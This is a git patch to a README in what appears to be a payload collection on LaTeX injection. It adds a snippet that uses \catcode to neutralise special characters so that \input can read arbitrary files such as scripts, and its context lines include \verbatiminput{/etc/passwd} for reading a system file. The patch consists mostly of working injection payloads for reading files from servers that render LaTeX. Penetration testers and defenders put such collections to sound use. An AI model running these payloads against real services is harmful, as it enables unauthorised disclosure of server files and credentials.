From b8387bc3a59c1f19c7d2e0df9bcf78ac11bd2f32 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Radoslav=20Bod=C3=B3?= Date: Tue, 22 Feb 2022 15:57:04 +0100 Subject: [PATCH] LaTeX Injection catcode add `\catcode` to disable LaTex control characters --- LaTeX Injection/README.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/LaTeX Injection/README.md b/LaTeX Injection/README.md index 6c9d9cb..dbf0bc2 100644 --- a/LaTeX Injection/README.md +++ b/LaTeX Injection/README.md @@ -38,6 +38,18 @@ Read text file, **without** interpreting the content, it will only paste raw fil \verbatiminput{/etc/passwd} ``` +If injection point is past document header (`\usepackage` cannot be used), some control +characters can be deactivated in order to use `\input` on file containing `$`, `#`, +`_`, `&`, null bytes, ... (eg. perl scripts). + +```tex +\catcode `\$=12 +\catcode `\#=12 +\catcode `\_=12 +\catcode `\&=12 +\input{path_to_script.pl} +``` + ## Write file Write single lined file: